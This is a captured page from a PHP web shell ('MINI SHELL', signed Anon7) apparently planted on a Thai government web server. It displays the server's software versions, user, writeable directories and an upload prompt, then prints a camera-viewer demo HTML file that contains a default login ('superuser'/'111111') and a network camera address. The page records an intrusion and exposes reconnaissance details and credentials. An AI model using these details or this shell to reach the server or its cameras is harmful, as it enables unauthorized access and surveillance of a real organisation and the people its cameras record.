MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/warroom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/warroom/Sample_4.html
<html>
<head>
<title>Demo4 ---Play Sound, Stop Sound</title>
</head>

<body>

<table border="0" width="100%" cellspacing="0" cellpadding="0" height="575">
  <tr>
    <td width="50%" bgcolor="#C0C0C0" valign="top" height="575">
      <div align="center">
        <center>
        <table border="0" width="10" cellspacing="0" cellpadding="0">
          <tr>
            <td width="10" height="10"><img border="0" src=".\bmp\011.bmp" width="22" height="24"></td>
            <td width="10" height="10"><img border="0" src=".\bmp\02.bmp" width="320" height="24"></td>
            <td width="10" height="10"><img border="0" src=".\bmp\031.bmp" width="21" height="24"></td>
          </tr>
          <tr>
            <td width="10" height="10"><img border="0" src=".\bmp\11.bmp" width="22" height="240"></td>
            <td width="10" height="10">
				<SCRIPT language="javascript">
					document.writeln("<object classid='clsid:81E5B0CC-63D6-4f4a-8347-BA15AD129533' id='NVLiveX2' CODEBASE='NVLiveX.cab#version = 1,0' width='320' height='240'>")
					document.writeln("<param name='DisablePWD' value=1>")
					document.writeln("<param name='DisableAudio' value=0>")
					document.writeln("</object>")

					function StopX2()
					{
						i = document.NVLiveX2.StopX();
					}
					function PlayX2()
					{
						SetIpAddress2();
						i = document.NVLiveX2.PlayX();
					}
					function SetIpAddress2()
					{
						document.NVLiveX2.SetIpAddress(document.forms[0].elements[0].value);
						document.NVLiveX2.SetDataPort(document.forms[0].elements[1].value);
						document.NVLiveX2.ChangeCamX(document.forms[0].elements[2].selectedIndex);
						document.NVLiveX2.SetUserName(document.forms[0].elements[3].value);
						document.NVLiveX2.SetPassword(document.forms[0].elements[4].value);
						document.NVLiveX2.SetQuality(document.forms[0].elements[5].selectedIndex);
					}
					function PlaySound2()
					{
						document.NVLiveX2.PlaySound();
					}
					function StopSound2()
					{
						document.NVLiveX2.StopSound();
					}
					</SCRIPT>            
            </td>
            <td width="10" height="10"><img border="0" src=".\bmp\13.bmp" width="21" height="240"></td>
          </tr>
          <tr>
            <td width="10" height="10"><img border="0" src=".\bmp\211.bmp" width="22" height="32"></td>
            <td width="10" height="10"><img border="0" src=".\bmp\22.bmp" width="320" height="32"></td>
            <td width="10" height="10"><img border="0" src=".\bmp\231.bmp" width="21" height="32"></td>
          </tr>
        </table>
        </center>
      </div>
      <div align="center" style="width: 444; height: 173">
        <center>
        <form method="POST" action="--WEBBOT-SELF--">
        <table border="0" width="380" cellspacing="0" cellpadding="0">
          <tr>
            <td width="98"></td>
            <td width="278"></td>
          </tr>
          <tr>
            <td width="98" align="right">IP:&nbsp;&nbsp;</td> 
            <td width="278">
				<input type="text" value="192.168.10.142" name="Edit_Addr" size="20">
            </td>
          </tr>
          <tr>
            <td width="98" align="right">  
              Port:&nbsp;&nbsp;</td>
            <td width="278">
				<input type="text" value="80" name="Edit_Port" size="20"> 
            </td>
          </tr>
          <tr>
            <td width="98" align="right">  
              Camera:&nbsp;&nbsp;</td>
            <td width="278"> 
				<select size="1" name="SEL_CAMERA"> 
					<option selected>1</option>
					<option>2</option>
					<option>3</option>
					<option>4</option>
					<option>5</option>
					<option>6</option>
					<option>7</option>
					<option>8</option>
					<option>9</option>
					<option>10</option>
					<option>11</option>
					<option>12</option>
					<option>13</option>
					<option>14</option>
					<option>15</option>
					<option>16</option>
				</select>
            </td>
          </tr>
          <tr>
            <td width="98" align="right">  
              User:&nbsp;&nbsp;</td>
            <td width="278"> 
				<input type="text" value="superuser" name="Edit_ID" size="20"> 
            </td>
          </tr>
          <tr>
            <td width="98" align="right">  
              Password:&nbsp;&nbsp;</td>
            <td width="278"> 
				<input type="text" name="Edit_Password" size="20" value="111111"> 
            </td>
          </tr>
          <tr>
            <td width="98" align="right">  
              Quality:&nbsp;&nbsp;</td>
            <td width="278"> 
				<select size="1" name="SEL_QUALITY">
									<option selected>HIGH4</option>
					<option>HIGH3</option>
					<option>HIGH2</option>
					<option selected>HIGH</option>
					<option>NORMAL</option>
					<option>LOW</option>
				</select>
            </td>
          </tr>
        </table>
        </center>
        </form>
        
      </div>
      
      <p align="center">
      	    <map name="PLAY2"><area href="javascript:PlayX2()" alt="Play" shape="rect" coords="0,0, 100,28"></map>
      	    <img border="1" src=".\bmp\play.bmp" usemap="#PLAY2">&nbsp;&nbsp; <map name="STOP2"><area href="javascript:StopX2()" alt="Stop" shape="rect" coords="0,0, 100,28"></map>    
      	    <img border="1" src=".\bmp\stop.bmp" usemap="#STOP2">      
      </td>
    <td width="50%" valign="top" height="575"> 
      <form method="POST" action="--WEBBOT-SELF--">
        <!--webbot bot="SaveResults" U-File="fpweb:///_private/form_results.txt"
        S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
        <table border="0" cellpadding="0" cellspacing="0" width="100%">
          <tr>
            <td width="100%"></td>
          </tr>
          <tr>
            <td width="100%">&nbsp;<input type="button" value="PlaySound" OnClick="PlaySound2()">&nbsp;<input type="button" value="StopSound" OnClick="StopSound2()"> 
            </td>
          </tr>
          <tr>
            <td width="100%"></td>
          </tr>
          <tr>
            <td width="100%"></td>
          </tr>
          <tr>
            <td width="100%"></td>
          </tr>
          <tr>
            <td width="100%"></td>
          </tr>
        </table>
      </form>
      <p> 
      </td>
  </tr>
</table>

</body>

</html>

Anon7 - 2021